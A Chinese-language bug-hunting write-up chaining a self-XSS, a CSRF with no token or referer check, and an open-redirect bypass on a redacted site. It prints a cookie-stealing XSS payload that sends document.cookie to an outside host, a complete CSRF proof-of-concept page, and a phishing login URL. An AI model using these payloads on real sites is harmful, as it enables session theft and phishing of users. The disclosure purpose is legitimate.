/ Web安全

将CSRF/XSS/开放重定向结合利用

Start

事情发生在2017年8月24日下午,在看完这位大佬的博客后blog.lc4t.me后,沉浸在对自己的前途一片黑暗之中,无法自拔,再加上前几周挖了几个腾讯漏洞后的消沉,最近身边的几位学长都在找工作,内心很郁闷,仿佛我即将毕业但是工作的事压在心头。想想自己现在技术能力还是不够强,也想在补天等漏洞平台上提交一些漏洞,于是我去了xxx.cn的网站。感觉xxx的漏洞比较多,开发者脑洞比较大,管理不完善,比较好挖。

site:xxx.cn,找了几个站,dev.xxx.cn,一个开放平台,功能点比较多,但是!慢的一比,实在受不了,又回去看搜索结果,注意到xxx.xxx.cn。进去一桶乱插,找到self xss一枚。self xss没法利用呀,于是试试能不能csrf,发现没验证referer也没有token,成了?但是这样的话钓鱼攻击成功率不会太大,1.需要用户在浏览器已登录xxxx.cn的情况下点击才会有效 2.钓鱼页面为其他域名已被发现。于是我就去找了找看看有没有其他的收获,本来不报希望的看看移动的统一认证登录,巧的是一枚开放重定向问题应允而生。下面写一下几个细节:

0x01 逻辑漏洞+XSS

留心xss

在xxx.xxxx.cn下昵称处存在漏洞
首先随便试了一下,发现是存在过滤的,最基本的<都被过滤了,但是开发者脑洞大呀,这里的逻辑分为三步:

  1. 用户输入昵称,点击提交,本地校验长度和危险字符
  2. 本地校验通过提交服务器校验,校验url: http://xxx/xxx/checkWords?text=昵称&timestamp=1503539683844
  3. 客户端获得服务器校验结果,若成功,提交服务器, POST请求
    存在的问题是,前两个均可绕过,直接走第三步提交,构造payload:
<details+open+ontoggle="(new Image()).src='//hacker.cn/'+escape(document.cookie)")</details>

即可获取cookie

0x02 CSRF

CSRF这个没啥好说的,看到没Token,删掉referer重放没有失败,基本就成了,于是生成一个钓鱼页面

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://xxx.xxx.cn/xxx/xxx/xxxx", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
        xhr.withCredentials = true;
        var body = "nickName=\x3cdetails+open+ontoggle=\"(new Image()).src=\'//xxx.cn/\'%2bescape(document.cookie)\"\x3e\x3c/details\x3e";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
      window.location="http://xxx.xxx.cn/xxx/xxx/xxx.html";
    </script>
  </body>
</html>

burp抓包
弹窗为敬

0x03 开放重定向

之前在挖腾讯的漏洞时,这样就成了,算个中危。转着转着转到了login.xxx.cn,xx的统一认证登录呀,出了问题还得了。
将漏洞结合利用
但是我低估了xx的造洞能力,凭着我的不放弃不言败的精神。
当我从之前的xss页面登出,再点击登录,跳转到统一认证页面,一个参数吸引了我的注意:backUrl=http://xxx.xxx.cn.
尝试改成baidu.com、xxx.cn.baidu.com,都会服务异常,正当我心灰意冷的时候,xxx.cn@baidu.com跳转了。

0x04 一个钓鱼URL应运而生

当发现此事不简单后,一个钓鱼URL应运而生
https://login.xxx.cn/?xxx=12011&backUrl=http://xxx.xxx.cn@xxxx.cn/10086.html
登录后直接重定向到我的payload页面